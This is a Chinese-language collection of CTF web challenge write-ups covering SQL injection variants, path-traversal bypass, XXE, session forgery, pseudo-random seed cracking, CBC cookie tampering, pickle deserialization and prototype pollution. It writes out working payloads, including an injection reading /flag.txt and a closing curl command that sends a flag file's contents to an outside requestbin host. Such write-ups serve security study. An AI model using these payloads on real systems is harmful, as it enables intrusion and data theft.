[GXYCTF2019]BabySQli
考点:SQL注入
题目界面
随便输入用户名和密码后查看源码得到提示
1 | MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5 |
解开为
1 | select * from user where username = '$name' |
我们需要以admin
的身份登陆,可以使用union
查询,控制为任意密码
virink_2019_files_share
考点:文件读取绕过
题目界面
查看源代码可以看到存在uploads目录
下载时抓包,发现可能存在任意文件读取,测试后发现将../
替换为空,这里使用双写绕过即可
1 | ....//....//....//....//....//....//....//etc..//passwd |
[CSAWQual 2019]Web_Unagi
考点:xxe
题目界面
题目是想让我们上传与示例相符的xml
文件,不难联想到xxe
,在测试时发现某些关键字被过滤了,借鉴这篇文章
可以用utf-16
编码来绕过,使用UltraEdit
软件来编写utf-16
的payload
1 |
|
按照正常方式发现回显位有长度限制,所以这里用到了与[GoogleCTF2019 Quals]Bnv
中一样的利用报错带出数据的方法
[GoogleCTF2019 Quals]Bnv
考点:xxe
题目界面:
该题目主要考点是xxe在无法加载外部dtd时错误数据的带出,参考下面这篇文章
https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/
payload:
1 |
|
[HarekazeCTF2019]Easy Notes
考点:session伪造
题目界面
登陆后可以添加note
,然后以压缩文件形式下载下来,当访问flag
页面时提示我们需要成为admin
,审计源码,会发现session
和压缩文件存储在同一路径下,看一下压缩文件的命名
由用户名,-
,八个随机串,和后缀构成,这个时候就给了我们伪造session
的机会
以用户名sess_
登陆,然后添加note
,title为|N;admin|b:1;
,body
随意,在下载时将type
改为.
,这样就得到了伪造的session
名称,替换一下即可
[RCTF2015]EasySQL
考点:二次注入
题目界面
在changepwd.php
处存在二次注入利用点,可利用报错函数带出数据
放上一个用户名的payload
1 | 1mio"||(extractvalue(1,concat(0x5c,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('f'))))))# |
注入过程
1 | select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()) |
由于最后带出flag
的时候,报错函数存在回显长度限制,可以使用reverse
函数逆序输出,拼接得到完整的结果
[极客大挑战 2019]FinalSQL
考点:SQL盲注
题目界面
题目注入点在search.php?id=1
当id=1=0
和id=1=1
时会有不同结果返回,脚本如下
1 | import requests |
数据
1 | select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek') |
[安洵杯 2019]不是文件上传
考点:SQL注入,反序列化
题目界面
根据题目首页面泄露的信息,在GitHub
上找到了该站点源码
1 | //helper.php |
1 | //show.php |
1 | //upload.php |
存在一处注入点
helper.php
上部分未对title
进行过滤,可以在图中红线部分进行insert
注入,抽象出来的语句
1 | insert into images (`title`,`filename`,`ext`,`path`,`attr`) values ('a','b','c','d','e') |
a
是我们可控的,同时在show.php
中发现了反序列化的触发点
该处是针对语句中的e
进行反序列化操作,通过注入我们可以控制e
处序列化的字符串,利用代码
1 |
|
然后将%00*%00
替换为\\0\\0\\0
,因为代码中存在该处替换
1 | O:6:"helper":2:{s:9:"\\0\\0\\0config";s:5:"/flag";s:9:"\\0\\0\\0ifview";i:1;} |
因为文件名中不可以有:"
等字符,把该段转化成16进制,最后文件名为
1 | a','b','c','d',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b733a393a225c305c305c30696676696577223b693a313b7d)# |
[CISCN2019 华北赛区 Day1 Web5]CyberPunk
题目界面
用伪协议读一下源码
1 | ?file=php://filter/convert.base64-encode/resource=index.php |
重点代码
1 | //confirm.php |
1 | //change.php |
其中输入的时候confirm.php
未对address
进行过滤,只是进行了addslashes
处理,这样配合修改功能,就可以造成二次注入,可使用报错函数updatexml
,payload
如下
1 | 1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)# |
当更新地址时,该句会出现错误带出数据
1 | "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'] |
[强网杯 2019]随便注
题目界面
该题目考察堆叠注入相关知识,其中有如下过滤
1 | return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); |
进行注入
1 | ?inject=1';show databases; |
1 | ?inject=1';use supersqli;show tables; |
1 | ?inject=1';show columns from words; |
1 | ?inject=1';show columns from `1919810931114514`; |
现在基本上清楚了数据库中表的结构,由于不能使用select
,这里使用alter
将words
表换成1919810931114514
,然后添加id字段,同时将flag
字段改名为data
字段,这样通过查询就可以直接拿到flag
,语句如下
1 | ALTER TABLE words RENAME TO moli;ALTER TABLE `1919810931114514` RENAME TO words;ALTER TABLE words ADD id CHAR(10) DEFAULT '1';ALTER TABLE words CHANGE flag data BIGINT; |
直接查询
[GWCTF 2019]枯燥的抽奖
考点:伪随机数
题目界面
控制台查看网络来到check.php
,代码如下
1 |
|
这是个经典的伪随机数问题,可以参考该文章:https://www.freebuf.com/vuls/192012.html
将得到的部分字母还原成随机数
1 |
|
爆破种子
得到了在7.1版本下的种子,然后对完整的字符串进行还原,注意要在7.1版本下运行代码
1 |
|
[HarekazeCTF2019]encode_and_encode
题目界面
重点源码
1 | //query.php |
我们需要以json
的格式传入想读的文件名,但存在is_valid
函数进行安全检查,这里可使用unicode进行绕过,同时为了避免文件内容有拦截,可以进行编码,例如
1 | {"page":"php\u003a//filter/convert.base64-encode/resource=/fl\u0061g"} |
在线转换
http://tool.chinaz.com/tools/unicode.aspx
[CISCN2019 华北赛区 Day1 Web2]ikun
考点:jwt伪造,pickle
题目界面
首先要我们购买lv6
,开始寻找lv6
所在页面,脚本如下
1 | import requests |
发现在181
页,购买时发现账户中的金额不足,抓包去修改折扣数值,将其改小一些,例如0.0000001
,购买后提示我们不是admin
,进而查看当前cookie
,发现是jwt
,拿出来爆破一下密钥
将cookie
替换,查看源码,给了源码泄露的地址,下载下来审计一下,发现了反序列化的点
1 | import pickle |
[MRCTF2020]Ezaudit
考点:伪随机数
题目界面
题目源码
1 |
|
可以爆破伪随机数种子
1 | str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' |
爆破出种子,然后生成对应的private_key
1 |
|
然后用万能密码绕过拿到flag
[BSidesCF 2019]Mixer
题目界面
登陆后抓包,删掉cookie中user值的一位,出现如下报错
猜测是CBC加密,明文为如下格式
1 | {"first_name":"aaa","last_name":"bbb","is_admin":0} |
目标是将is_admin
的值变成1
虽然我们不知道初始化向量的值,但是由于明文是16位一组,可以对明文进行填充,这里放上一张网上的图
最后将1.000000000000的值插入到倒数第二个密文块即可
1 | user=e7bad305dcc721367f5d961d63c3d340ca4aab0f874c635b68388961ef03dbeb6fe6a8eade0270198a1dc8524d634a8912ca916102c524c31daa8e088dffc2a8ca4aab0f874c635b68388961ef03dbeb8d5f5566bef8a2111ee37728c651b131 |
[网鼎杯 2020 青龙组]notes
考点:undefsafe导致的原型链污染
参考CVE-2019-10795,当undefsafe小于2.0.3时,会存在原型链污染漏洞,题目代码如下
1 | var express = require('express'); |
参考如下文章https://www.4hou.com/index.php/posts/Zppg
在/edit_note处存在原型链污染利用点,在/status路由下存在命令执行利用点,操作如下
首先污染原型
1 | {"id":"__proto__","author":"curl -X POST -d \"fizz=`cat /flag`\" http://http.requestbin.buuoj.cn/1hrdjp81","raw":"aaa"} |
然后访问/status路由
会执行curl命令,拿到flag